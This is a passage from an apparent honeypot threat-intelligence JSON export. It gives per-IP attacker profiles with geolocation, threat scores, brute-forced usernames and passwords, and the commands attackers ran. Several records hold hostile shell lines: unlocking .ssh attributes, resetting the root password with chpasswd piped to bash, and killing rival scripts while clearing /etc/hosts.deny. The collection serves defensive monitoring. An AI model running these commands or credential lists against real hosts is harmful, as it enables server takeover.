        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:EDr2qoss01zF\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": null,
      "asn": 328646,
      "as_org": "Infratel-Corporation",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:55:14.021000+00:00",
        "last_seen_30d": "2026-05-31T01:22:14.290000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "129.121.37.21": {
      "attack_count": 116,
      "first_seen": "2026-05-29T16:10:34.917Z",
      "last_seen": "2026-05-29T16:43:25.592Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "bot",
        "a",
        "deploy",
        "ehsan",
        "erp",
        "gpadmin",
        "vlad"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "12345",
        "201314",
        "2wsx#EDC4rfv",
        "Qwerty123456!",
        "drcom@123",
        "ehsan",
        "fjbdfdjkdsfs541544",
        "kingkong",
        "noroot",
        "password",
        "qwerty1!",
        "root2022"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Vinhedo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T16:10:34.917000+00:00",
        "last_seen_30d": "2026-05-29T16:44:31.008000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 46
      }
    },
    "219.151.187.107": {
      "attack_count": 114,
      "first_seen": "2026-05-07T06:38:39.946Z",
      "last_seen": "2026-05-28T10:34:45.215Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "345gs5662d34",
        "git",
        "info",
        "postgres",
        "root",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "admin",
        "git12345678",
        "khosrow",
        "postgres2022",
        "test12345678",
        "vps12"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"khosrow\\nelUIApWbJGiT\\nelUIApWbJGiT\\n\"|passwd",
        "echo -e \"khosrow\\nelUIApWbJGiT\\nelUIApWbJGiT\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134420,
      "as_org": "Chongqing Telecom",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:38:39.946000+00:00",
        "last_seen_30d": "2026-05-28T10:35:53.838000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 35
      }
    },
    "51.79.99.235": {
      "attack_count": 114,
      "first_seen": "2026-05-08T07:20:02.153Z",
      "last_seen": "2026-05-31T19:11:48.132Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 53.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.3,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:20:02.153000+00:00",
        "last_seen_30d": "2026-05-31T19:12:55.315000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 58
      }
    },
    "27.29.165.92": {
      "attack_count": 106,
      "first_seen": "2026-05-23T08:00:25.508Z",
      "last_seen": "2026-05-23T14:04:21.080Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:00:25.508000+00:00",
        "last_seen_30d": "2026-05-23T14:05:28.724000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 106,
        "Suricata": 56
      }
    },
    "103.171.69.118": {
      "attack_count": 74,
      "first_seen": "2026-05-21T18:44:46.690Z",
      "last_seen": "2026-05-21T19:33:14.731Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "chao",
        "meng",
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "meng123",
        "yys"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"meng123\\n1HXRu1GlmcdD\\n1HXRu1GlmcdD\\n\"|passwd",
        "echo -e \"meng123\\n1HXRu1GlmcdD\\n1HXRu1GlmcdD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:44:46.690000+00:00",
        "last_seen_30d": "2026-05-21T19:34:18.458000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 9
      }
    },
    "101.126.22.12": {
      "attack_count": 56,
      "first_seen": "2026-05-18T22:19:30.898Z",
      "last_seen": "2026-05-29T12:54:30.534Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "console",
        "ubuntu"
      ],
      "passwords_attempted": [
        "00000000",
        "123123",
        "QWE123!@#qwe",
        "a1314159",
        "admin@123456",
        "console",
        "node2026",
        "qazwsx",
        "qwer!@#$1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:19:30.898000+00:00",
        "last_seen_30d": "2026-05-29T13:04:31.066000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 43
      }
    },
    "115.57.9.84": {
      "attack_count": 50,
      "first_seen": "2026-05-25T07:06:56.210Z",
      "last_seen": "2026-05-25T07:12:20.746Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T07:06:56.210000+00:00",
        "last_seen_30d": "2026-05-25T07:13:26.026000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.135.42.199": {
      "attack_count": 50,
      "first_seen": "2026-05-22T22:33:07.244Z",
      "last_seen": "2026-05-22T22:38:31.735Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 22.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:33:07.244000+00:00",
        "last_seen_30d": "2026-05-22T22:39:39.585000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "204.76.203.233": {
      "attack_count": 39,
      "first_seen": "2026-05-02T13:01:05.586Z",
      "last_seen": "2026-05-30T00:30:10.071Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 64.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 24.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 29,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T12:58:37.126000+00:00",
        "last_seen_30d": "2026-05-30T00:31:19.302000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Cowrie": 39,
        "Honeytrap": 1
      }
    },
    "74.48.165.72": {
      "attack_count": 36,
      "first_seen": "2026-05-09T05:08:29.144Z",
      "last_seen": "2026-05-20T07:03:35.050Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:08:29.144000+00:00",
        "last_seen_30d": "2026-05-20T07:04:39.493000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "45.7.230.82": {
      "attack_count": 25,
      "first_seen": "2026-05-20T17:16:51.378Z",
      "last_seen": "2026-05-20T17:19:05.908Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": null,
      "asn": 52368,
      "as_org": "ZAM LTDA.",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T17:16:51.378000+00:00",
        "last_seen_30d": "2026-05-20T17:20:09.170000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 12
      }
    },
    "23.94.104.251": {
      "attack_count": 24,
      "first_seen": "2026-05-11T02:36:47.284Z",
      "last_seen": "2026-05-28T23:11:20.587Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:36:47.284000+00:00",
        "last_seen_30d": "2026-05-28T23:12:24.676000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "91.192.206.206": {
      "attack_count": 24,
      "first_seen": "2026-05-19T18:51:53.897Z",
      "last_seen": "2026-05-19T20:44:33.179Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Miech\u00f3w",
      "asn": 42552,
      "as_org": "Niles sp. z o.o.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:51:53.897000+00:00",
        "last_seen_30d": "2026-05-19T20:45:36.743000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 12
      }
    },
    "18.218.118.203": {
      "attack_count": 21,
      "first_seen": "2026-05-06T04:28:15.582Z",
      "last_seen": "2026-05-21T05:02:20.466Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7373,
        "days_active_30d": 23,
        "ports_targeted_30d": 170,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-02T03:29:15+00:00",
        "last_seen_30d": "2026-05-24T12:11:00.138000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4584,
        "Honeytrap": 2325,
        "ConPot": 149,
        "Redishoneypot": 98,
        "Mailoney": 91,
        "Dionaea": 77,
        "Cowrie": 21,
        "ElasticPot": 8,
        "Ipphoney": 7,
        "Honeyaml": 6,
        "H0neytr4p": 4,
        "CitrixHoneypot": 3
      }
    },
    "192.227.67.225": {
      "attack_count": 20,
      "first_seen": "2026-05-02T13:36:16.555Z",
      "last_seen": "2026-05-02T13:57:38.513Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 13886,
      "as_org": "Cloud South",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:36:16.555000+00:00",
        "last_seen_30d": "2026-05-02T14:04:00.739000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Cowrie": 20
      }
    },
    "190.15.120.169": {
      "attack_count": 14,
      "first_seen": "2026-05-11T10:48:37.381Z",
      "last_seen": "2026-05-11T10:56:49.734Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ne\u00f3polis",
      "asn": 61568,
      "as_org": "ALOO TELECOM - FSF TECNOLOGIA SA",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:48:37.381000+00:00",
        "last_seen_30d": "2026-05-11T11:05:27.815000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 10
      }
    },
    "186.251.131.70": {
      "attack_count": 12,
      "first_seen": "2026-05-08T09:44:30.520Z",
      "last_seen": "2026-05-12T09:53:24.374Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": null,
      "asn": 53225,
      "as_org": "IPGLOBE INTERNET LTDA",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:44:30.520000+00:00",
        "last_seen_30d": "2026-05-12T09:54:26.116000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "80.82.70.133": {
      "attack_count": 12,
      "first_seen": "2026-05-03T21:29:53.190Z",
      "last_seen": "2026-05-26T12:53:14.123Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 96.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 407,
        "days_active_30d": 30,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T08:26:54+00:00",
        "last_seen_30d": "2026-05-31T23:07:59.951000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 302,
        "Honeytrap": 80,
        "Cowrie": 12,
        "Redishoneypot": 9,
        "Dionaea": 2,
        "ElasticPot": 1,
        "Tanner": 1
      }
    },
    "92.118.39.195": {
      "attack_count": 12,
      "first_seen": "2026-05-04T16:03:30.056Z",
      "last_seen": "2026-05-09T01:03:16.928Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:03:30.056000+00:00",
        "last_seen_30d": "2026-05-09T01:04:17.842000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "185.116.214.80": {
      "attack_count": 10,
      "first_seen": "2026-05-15T01:15:21.286Z",
      "last_seen": "2026-05-15T03:51:27.930Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 12488,
      "as_org": "Krystal Hosting Ltd",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T00:31:04.443000+00:00",
        "last_seen_30d": "2026-05-15T06:32:56.395000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Cowrie": 10
      }
    },
    "187.116.133.185": {
      "attack_count": 10,
      "first_seen": "2026-05-20T02:51:25.840Z",
      "last_seen": "2026-05-20T08:53:49.550Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Contagem",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:51:25.840000+00:00",
        "last_seen_30d": "2026-05-20T08:54:54.370000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "27.79.47.36": {
      "attack_count": 10,
      "first_seen": "2026-05-07T17:32:12.591Z",
      "last_seen": "2026-05-07T17:32:22.205Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "jenkins",
        "root"
      ],
      "passwords_attempted": [
        "?",
        "jenkins123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T17:32:12.591000+00:00",
        "last_seen_30d": "2026-05-07T17:33:25.307000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "34.79.244.186": {
      "attack_count": 10,
